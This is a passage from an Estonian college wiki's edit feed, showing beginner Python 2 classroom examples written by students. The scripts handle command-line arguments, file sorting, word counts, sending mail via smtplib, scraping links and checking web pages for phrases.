#loo skript, mis saab käsurealt 0..n argumenti&lt;br /&gt;
#skript väljastab esmalt argumentide arvu ja argumendid (iga argument eraldi real)&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
print &#039;argumentide arv:&#039;, len(sys.argv)&lt;br /&gt;
&lt;br /&gt;
for i in sys.argv:&lt;br /&gt;
     print &amp;quot;Argument: &amp;quot;, i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pythoni programm, mis väljastab ainult paaritud argumendid&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
#Loo skript mis saab käsurealt 0..n argumenti&lt;br /&gt;
#väljastab kõik paaritud argumendid (iga argument eraldi real)&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
for i in sys.argv[1:]:&lt;br /&gt;
    if int(i)%2 == 0:&lt;br /&gt;
        pass&lt;br /&gt;
    else:&lt;br /&gt;
        print &#039;Paaritu argument: &#039;, i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pythoni programm, mis kirjutab faili, kus on 1000 rida ja igal real on juhuarv 1..1000&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
&lt;br /&gt;
import random&lt;br /&gt;
fo = open(&amp;quot;fail.txt&amp;quot;, &#039;w&#039;)&lt;br /&gt;
&lt;br /&gt;
for x in range(1, 1001):&lt;br /&gt;
	ran=str(random.randrange(1,1000+1))	&lt;br /&gt;
	fo.write(ran+&#039;\n&#039;)&lt;br /&gt;
&lt;br /&gt;
fo.close()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Skript sorteerib fail.txt-s olevad numbrid ja väljastab uute faili&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
#Skript sorteerib fail.txt-s olevad numbrid ja väljastab &lt;br /&gt;
# uute faili&lt;br /&gt;
&lt;br /&gt;
fo = open(&amp;quot;fail.txt&amp;quot;, &amp;quot;r&amp;quot; )&lt;br /&gt;
fo2 = open(&amp;quot;sorteeritud.txt&amp;quot;, &#039;w&#039;)&lt;br /&gt;
&lt;br /&gt;
lines = fo.readlines()&lt;br /&gt;
results = map(int, lines)&lt;br /&gt;
&lt;br /&gt;
results.sort()&lt;br /&gt;
&lt;br /&gt;
for item in results:&lt;br /&gt;
  fo2.write(&amp;quot;%s\n&amp;quot; % item)&lt;br /&gt;
&lt;br /&gt;
fo.close()&lt;br /&gt;
fo2.close()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Skript sorteerib fail.txt-s olevad numbrid ja väljastab uute faili&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
#Skript sorteerib fail.txt-s olevad numbrid ja väljastab &lt;br /&gt;
# uute faili&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
f = open(sys.argv[1], &#039;r&#039;)&lt;br /&gt;
lines = f.readlines()&lt;br /&gt;
lines.sort(key = int)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
f = open(&#039;uusfail3.txt&#039;, &#039;w&#039;)&lt;br /&gt;
for number in lines:&lt;br /&gt;
	f.write(number)&lt;br /&gt;
f.close&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skript sorteerib fail.txt-s olevad numbrid ja väljastab ainult unikaalsed numbrid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
#Skript sorteerib fail.txt-s olevad numbrid ja väljastab ainult&lt;br /&gt;
# unikaalsed numbrid&lt;br /&gt;
&lt;br /&gt;
fo = open(&amp;quot;fail.txt&amp;quot;, &amp;quot;r&amp;quot; )&lt;br /&gt;
fo2 = open(&amp;quot;unikaalsed.txt&amp;quot;, &#039;w&#039;)&lt;br /&gt;
&lt;br /&gt;
lines = fo.readlines()&lt;br /&gt;
results = map(int, lines)&lt;br /&gt;
&lt;br /&gt;
results2 = list(set(results))&lt;br /&gt;
results2.sort()&lt;br /&gt;
&lt;br /&gt;
for item in results2:&lt;br /&gt;
  fo2.write(&amp;quot;%s\n&amp;quot; % item)&lt;br /&gt;
&lt;br /&gt;
fo.close()&lt;br /&gt;
fo2.close()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Skript, mis tagastab käsurealt etteantud kasutaja UID&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
from pwd import getpwnam&lt;br /&gt;
print getpwnam(sys.argv[1]).pw_uid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Skript, mis väljastan NxN ühikmaatriksi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Väljastab NxN ühikmaatriksi&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
import numpy as np&lt;br /&gt;
&lt;br /&gt;
n = float(sys.argv[1])&lt;br /&gt;
&lt;br /&gt;
print np.identity(n)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Skript loeb etteantud teksti failist ridade, sõnade ja tähemärkide arvu&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Skript loeb etteantud teksti failist ridade, sõnade ja tähemärkide arvu&lt;br /&gt;
from sys import argv&lt;br /&gt;
&lt;br /&gt;
if len(argv) &amp;lt; 2:&lt;br /&gt;
    print &amp;quot;Sa ei sisestanud ühtegi argumenti, mida kontrollida&amp;quot;&lt;br /&gt;
    exit(1)&lt;br /&gt;
    &lt;br /&gt;
fh=open(argv[1])&lt;br /&gt;
read = fh.readlines()&lt;br /&gt;
&lt;br /&gt;
sonad = 0&lt;br /&gt;
tahed = 0&lt;br /&gt;
for rida in read:&lt;br /&gt;
    tahed = tahed + len(rida)&lt;br /&gt;
    sonad = sonad + len(rida.split())&lt;br /&gt;
&lt;br /&gt;
print &amp;quot;Ridu:&amp;quot; , len(read)&lt;br /&gt;
print &amp;quot;Sonu:&amp;quot; , sonad&lt;br /&gt;
print &amp;quot;Tähti:&amp;quot; , tahed&lt;br /&gt;
&lt;br /&gt;
fh.close()&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Skript loeb etteantud teksti failist ridade, sõnade ja tähemärkide arvu&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Tee skript, mis leiab käsurealt etteantud tekstifaili&lt;br /&gt;
# ridade arvu, tähtede arvu ja sõnade arvu ja väljastab ekraanile&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
f = open(sys.argv[1], &amp;quot;r&amp;quot; )&lt;br /&gt;
&lt;br /&gt;
lines = f.readlines()&lt;br /&gt;
count = 0&lt;br /&gt;
sonad = 0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
for i in range(0,len(lines)):&lt;br /&gt;
    count = count + len(lines[i])&lt;br /&gt;
    sonad = sonad + len(lines[i].split(&amp;quot; &amp;quot;))&lt;br /&gt;
    &lt;br /&gt;
print &amp;quot;Ridu:&amp;quot;, len(lines)&lt;br /&gt;
print &amp;quot;Tähemärke:&amp;quot;, count&lt;br /&gt;
print &amp;quot;Sõnu:&amp;quot;, sonad&lt;br /&gt;
&lt;br /&gt;
f.close()&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Skript kirjutab tekstifaili 100 rida rea numbrite ja random sisuga, komadega eraldatult&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Tee skript, mis kirjutab komadega eraldatud tekstifaili 100 rida, igas reas järgnev info:&lt;br /&gt;
# rea nr, random nr 1..100, random märk pikkusega 0..32&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
import random&lt;br /&gt;
import string&lt;br /&gt;
&lt;br /&gt;
f = open(sys.argv[1], &amp;quot;w&amp;quot; )&lt;br /&gt;
&lt;br /&gt;
for i in range(1, 101):&lt;br /&gt;
    ran=str(random.randrange(1,100+1))	&lt;br /&gt;
    f.write(str(i)+&#039;,&#039;)&lt;br /&gt;
    f.write(ran+&#039;,&#039;)&lt;br /&gt;
    for j in range(1,random.randrange(1,32+1)):&lt;br /&gt;
        f.write(random.choice(string.ascii_letters))&lt;br /&gt;
    f.write(&#039;\n&#039;)&lt;br /&gt;
 &lt;br /&gt;
f.close()&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Skript kirjutab ette antud faili 100 rida. Igal real on rea number, suvaline number 1 ja 100 vahel ja suvaline tähemärk, mis on komadega eraldatud&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Skript kirjutab ette antud faili 100 rida. Igal real on rea number, suvaline number 1 ja 100 vahel ja suvaline tähemärk, mis on komadega eraldatud&lt;br /&gt;
from sys import argv&lt;br /&gt;
from random import randint&lt;br /&gt;
import random&lt;br /&gt;
letters=&#039;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&#039;&lt;br /&gt;
&lt;br /&gt;
if len(argv) &amp;lt; 2:&lt;br /&gt;
    print &amp;quot;Sa ei sisestanud ühtegi argumenti, mida kontrollida&amp;quot;&lt;br /&gt;
    exit(1)&lt;br /&gt;
    &lt;br /&gt;
fh=open(argv[1], &amp;quot;w&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
sonad = 0&lt;br /&gt;
tahed = 0&lt;br /&gt;
for rida in range(100):&lt;br /&gt;
    fh.write(str(rida+1) + &amp;quot;,&amp;quot; + str(randint(1, 101)) + &amp;quot;,&amp;quot; + random.choice(letters) + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    &lt;br /&gt;
fh.close()&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Skript saadab meili kasutades smtplib teeki ning on praktiliselt identne StackOverflow lehel asuva koodiga, mille leiab sõnumi sisust.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Üllar Seerme, A21&lt;br /&gt;
# 25.03.14&lt;br /&gt;
import smtplib&lt;br /&gt;
&lt;br /&gt;
FROM = &amp;quot;&amp;quot;&lt;br /&gt;
TO = [&amp;quot;&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
SUBJECT = &amp;quot;Hello World!&amp;quot;&lt;br /&gt;
TEXT = &amp;quot;Greetings from http://stackoverflow.com/questions/6270782/sending-email-with-python&amp;quot;&lt;br /&gt;
&lt;br /&gt;
MESSAGE = &amp;quot;&amp;quot;&amp;quot;\&lt;br /&gt;
From: %s&lt;br /&gt;
To: %s&lt;br /&gt;
Subject: %s&lt;br /&gt;
&lt;br /&gt;
%s&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot; % (FROM, &amp;quot;, &amp;quot;.join(TO), SUBJECT, TEXT)&lt;br /&gt;
&lt;br /&gt;
server = smtplib.SMTP(&amp;quot;mail.itcollege.ee&amp;quot;)&lt;br /&gt;
server.sendmail(FROM, TO, MESSAGE)&lt;br /&gt;
server.quit()&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
skript saadab meili kasutades smtplib teeki. Süntaksi sain tutorialspoint.com dokumentatsioonidest.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
#A21 Juri Kononov Ilma autentimist meili saatmine&lt;br /&gt;
import smtplib&lt;br /&gt;
&lt;br /&gt;
smtplib.SMTP(&#039;mail.itcollege.ee&#039;).sendmail(&#039;kellelt@itcollege.ee&#039;, &#039;kellele@itcollege.ee&#039;, &amp;quot;emaili sisu&amp;quot;)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Autor: Karl-Martin Karlson&lt;br /&gt;
# Rühm: A21&lt;br /&gt;
# Skript saadab enda sisu valitud meili aadressile&lt;br /&gt;
&lt;br /&gt;
import smtplib&lt;br /&gt;
&lt;br /&gt;
with open(__file__) as f:&lt;br /&gt;
    msg = f.read()&lt;br /&gt;
&lt;br /&gt;
print &amp;quot;Message length is &amp;quot; + repr(len(msg))&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
server = smtplib.SMTP(&amp;quot;172.16.0.160&amp;quot;, 25)&lt;br /&gt;
server.sendmail(&amp;quot;saatja@itcollege.ee&amp;quot;, &amp;quot;saaja@itcollege.ee&amp;quot;, msg)&lt;br /&gt;
server.quit()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Skript läheb ette antud veebilehele ning kopeerib&lt;br /&gt;
# kõik leitud URlid lingid.txt faili&lt;br /&gt;
&lt;br /&gt;
import urllib2&lt;br /&gt;
import re&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 2:&lt;br /&gt;
    print(&amp;quot;Argumentide arv on vale!&amp;quot;)&lt;br /&gt;
    print(&amp;quot;Kasuta programmi&amp;quot;, sys.argv[0], &amp;quot;sisendfail&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
    &lt;br /&gt;
url = sys.argv[1]&lt;br /&gt;
f = open(&#039;lingid.txt&#039;,&#039;w&#039;)&lt;br /&gt;
&lt;br /&gt;
page = urllib2.urlopen(url)&lt;br /&gt;
page = page.read()&lt;br /&gt;
links = re.findall(r&amp;quot;&amp;lt;a.*?\s*href=\&amp;quot;(.*?)\&amp;quot;.*?&amp;gt;(.*?)&amp;lt;/a&amp;gt;&amp;quot;, page)&lt;br /&gt;
&lt;br /&gt;
for link in links:&lt;br /&gt;
    f.write(&#039;%s \n&#039; % (link[0]))&lt;br /&gt;
&lt;br /&gt;
f.close()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Johannes Tammekänd - A22 - 25.03.14&lt;br /&gt;
# Leiab etteantud URL&#039;i lähtekoodist kõik lingid.&lt;br /&gt;
&lt;br /&gt;
import urllib2&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 2:&lt;br /&gt;
  print &amp;quot;Argumentide arv on vale!&amp;quot;&lt;br /&gt;
  print &amp;quot;Kasuta programmi &amp;quot;, sys.argv[0], &amp;quot;http://www.veebiaadress.com&amp;quot;&lt;br /&gt;
  sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
from BeautifulSoup import BeautifulSoup&lt;br /&gt;
page = urllib2.urlopen(sys.argv[1])&lt;br /&gt;
soup = BeautifulSoup(page.read())&lt;br /&gt;
links = soup.findAll(&amp;quot;a&amp;quot;)&lt;br /&gt;
for link in links:&lt;br /&gt;
    print link[&amp;quot;href&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Imre Lebedev - A22 - 08.04.2014&lt;br /&gt;
# Võtab sisendfailiks logifaili ja kirjutab logifaili väljudnisse järgmiselt&lt;br /&gt;
# Et logifaili ajad hakkaks enda aega lugema esimese logirea järgi&lt;br /&gt;
import sys&lt;br /&gt;
import re&lt;br /&gt;
import datetime&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 2:&lt;br /&gt;
    print(&amp;quot;Argumentide arv on vale!&amp;quot;)&lt;br /&gt;
    print(&amp;quot;Kasuta programmi&amp;quot;, sys.argv[0], &amp;quot;sisendfail&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    fh = open(&#039;/home/valjunddomeen.txt&#039;,&#039;w&#039;)&lt;br /&gt;
except IOError:&lt;br /&gt;
    print &amp;quot;Väljundfail on juba olemas või ei ole sinna võimalik kirjutada&amp;quot;&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    f = open(sys.argv[1],&#039;r&#039;)&lt;br /&gt;
except IOError:&lt;br /&gt;
    print &amp;quot;Sisendfail puudub või ei ole piisavalt õigusi selle avamiseks&amp;quot;&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
for line in f:&lt;br /&gt;
    try:&lt;br /&gt;
        info=line.split(&amp;quot;@&amp;quot;)[1]&lt;br /&gt;
        fh.write(info)&lt;br /&gt;
    except IOError:&lt;br /&gt;
        print &amp;quot;Faili sisse ei õnnestu kirjutada&amp;quot;&lt;br /&gt;
f.close()&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Johannes Tammekänd, A22&lt;br /&gt;
# Skript, mis loeb sisendfailist emailid ja väljundfaili kirjutab emaili domeenid.&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 3:&lt;br /&gt;
	print &amp;quot;Argumentide arv on vale!&amp;quot;&lt;br /&gt;
	print &amp;quot;Kasuta programmi &amp;quot;, sys.argv[0], &amp;quot;Sisendfail Väljundfail&amp;quot;&lt;br /&gt;
	sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
	input_file = open(sys.argv[1], &#039;r&#039;)&lt;br /&gt;
except IOError: &lt;br /&gt;
	print &amp;quot;Sisendfaili ei saa avada.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
	output_file = open(sys.argv[2], &#039;w&#039;)&lt;br /&gt;
except IOError:&lt;br /&gt;
	print &amp;quot;Väljundfaili ei saa kirjutada.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
for line in input_file.readlines():&lt;br /&gt;
	print line&lt;br /&gt;
	line = line.split(&amp;quot;@&amp;quot;)[1]&lt;br /&gt;
	output_file.write(line) &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
#  -*- coding: utf-8 -*-&lt;br /&gt;
# Autor Karl Männil&lt;br /&gt;
# Programm kontrollib kas on võimalik avada käsurealt sisestatud parameetrite nimelisi faile&lt;br /&gt;
from __future__ import print_function&lt;br /&gt;
from __future__ import unicode_literals&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
# Kontrollime kas programmil on piisavalt argumente (vaja on kolme aga programm ise on ka parameeter)&lt;br /&gt;
# Vajadusel pahandame kasutajaga ning õpetame teda!&lt;br /&gt;
if len(sys.argv) != 4:&lt;br /&gt;
    print(&amp;quot;Kasuta programmi vähemalt kolme parameetriga&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
print(&amp;quot;Programm lõpetas töö&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Proovime kas saame avada faili mis sisestati esimese parameetrina (tegelikult parameeter 2), kirjutame ka staatuse&lt;br /&gt;
try:&lt;br /&gt;
    fh = open(sys.argv[1],&#039;r&#039;)&lt;br /&gt;
    print (&amp;quot;Faili nimega &amp;quot;, sys.argv[1], &amp;quot;saab avada&amp;quot;)&lt;br /&gt;
except IOError:&lt;br /&gt;
    print(&amp;quot;Sisendfaili ei saa avada&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Proovime kas saame avada faili mis sisestati teise parameetrina (tegelikult parameeter 3), kirjutame ka staatuse&lt;br /&gt;
try:&lt;br /&gt;
    fh = open(sys.argv[2],&#039;r&#039;)&lt;br /&gt;
    print (&amp;quot;Faili nimega &amp;quot;, sys.argv[2], &amp;quot;saab avada&amp;quot;)&lt;br /&gt;
except IOError:&lt;br /&gt;
    print(&amp;quot;Sisendfaili ei saa avada&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Proovime kas saame avada faili mis sisestati kolmanda parameetrina (tegelikult parameeter 4), kirjutame ka staatuse&lt;br /&gt;
try:&lt;br /&gt;
    fh = open(sys.argv[3],&#039;r&#039;)&lt;br /&gt;
    print (&amp;quot;Faili nimega &amp;quot;, sys.argv[3], &amp;quot;saab avada&amp;quot;)&lt;br /&gt;
except IOError:&lt;br /&gt;
    print(&amp;quot;Sisendfaili ei saa avada&amp;quot;)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
from __future__ import print_function&lt;br /&gt;
from __future__ import unicode_literals&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
import urllib2&lt;br /&gt;
import time&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 3:&lt;br /&gt;
    print(&amp;quot;Vale argumentide arv!&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
#ava väljundfail kirjutamiseks argument 3&lt;br /&gt;
try:&lt;br /&gt;
    fhw = open(sys.argv[2], &#039;w&#039;)&lt;br /&gt;
&lt;br /&gt;
except IOError:&lt;br /&gt;
    print(&amp;quot;Väljundfaili avamine ebaõnnestus!&amp;quot;)&lt;br /&gt;
    sys.exit(2)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    fhr = open(sys.argv[1], &#039;r&#039;)&lt;br /&gt;
    for line in fhr.readlines():&lt;br /&gt;
        a_line = line.split(&amp;quot;,&amp;quot;)&lt;br /&gt;
        try:&lt;br /&gt;
            u = urllib2.urlopen(a_line[0])&lt;br /&gt;
        except Exception:&lt;br /&gt;
            print(a_line[0], &amp;quot;URL avamine ebaõnnestus&amp;quot;)&lt;br /&gt;
        sisu=u.read()&lt;br /&gt;
        arv=sisu.count(a_line[1].strip())&lt;br /&gt;
        if arv &amp;gt; 0:&lt;br /&gt;
            tekst = &amp;quot;URL: &amp;quot;&lt;br /&gt;
            tekst += str(a_line[0])&lt;br /&gt;
            tekst += &amp;quot; Fraas: &amp;quot;&lt;br /&gt;
            tekst += str(a_line[1].strip())&lt;br /&gt;
            tekst += &amp;quot; &amp;quot;&lt;br /&gt;
            tekst += time.strftime(&amp;quot;%Y-%m-%d %H:%M:%S&amp;quot;)&lt;br /&gt;
            tekst += &amp;quot; OK&amp;quot;&lt;br /&gt;
            tekst += &amp;quot;\n&amp;quot;&lt;br /&gt;
            # noinspection PyTypeChecker&lt;br /&gt;
            fhw.write(tekst)&lt;br /&gt;
        else:&lt;br /&gt;
            tekst=&amp;quot;URL: &amp;quot;&lt;br /&gt;
            tekst+=str(a_line[0])&lt;br /&gt;
            tekst+=&amp;quot; Fraas: &amp;quot;&lt;br /&gt;
            tekst+=str(a_line[1].strip())&lt;br /&gt;
            tekst += &amp;quot; &amp;quot;&lt;br /&gt;
            tekst += time.strftime(&amp;quot;%Y-%m-%d %H:%M:%S&amp;quot;)&lt;br /&gt;
            tekst+=&amp;quot; NOTOK&amp;quot;&lt;br /&gt;
            tekst+=&amp;quot;\n&amp;quot;&lt;br /&gt;
            fhw.write(tekst)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
except IOError:&lt;br /&gt;
    print(&amp;quot;Sisendfaili ei saanud avada&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Python_tunnis_tehtud_n%C3%A4ited&amp;diff=88455</id>
		<title>Python tunnis tehtud näited</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Python_tunnis_tehtud_n%C3%A4ited&amp;diff=88455"/>
		<updated>2015-05-12T08:10:04Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
#  -*- coding: utf-8 -*-&lt;br /&gt;
from __future__ import print_function&lt;br /&gt;
from __future__ import unicode_literals&lt;br /&gt;
#1. Skript loeb failist numbrid&lt;br /&gt;
#2. Kui number jagub 3 siis prindib numbri&lt;br /&gt;
&lt;br /&gt;
#exit 1 - Argumentide arv vale&lt;br /&gt;
#exit 2 - Aisendfaili ei õnnestu lugeda&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 2:&lt;br /&gt;
	print (&amp;quot;Käsurea argumente peab olema 1&amp;quot;)&lt;br /&gt;
	sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    sisend = open(sys.argv[1])&lt;br /&gt;
&lt;br /&gt;
except IOError:&lt;br /&gt;
    print (&#039;Sisendfaili, sys.argv[1], ei saa avada&#039;)&lt;br /&gt;
    sys.exit(2)&lt;br /&gt;
&lt;br /&gt;
for line in sisend.readlines():&lt;br /&gt;
    line = line.strip()&lt;br /&gt;
    if line:&lt;br /&gt;
        line2=float(line)&lt;br /&gt;
        if line2 % 3 == 0:&lt;br /&gt;
            print (line)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
#  -*- coding: utf-8 -*-&lt;br /&gt;
from __future__ import print_function&lt;br /&gt;
from __future__ import unicode_literals&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
import urllib2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;See on tehtud IDET kasutades&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
print(sys.argv)&lt;br /&gt;
print(len(sys.argv))&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 2:&lt;br /&gt;
    print(&amp;quot;Kasuta programmi ...&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;programm lõpetas töö&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    fh = open(sys.argv[1], &#039;r&#039;)&lt;br /&gt;
    for line in fh.readlines():&lt;br /&gt;
        a_line = line.split(&#039;,&#039;)&lt;br /&gt;
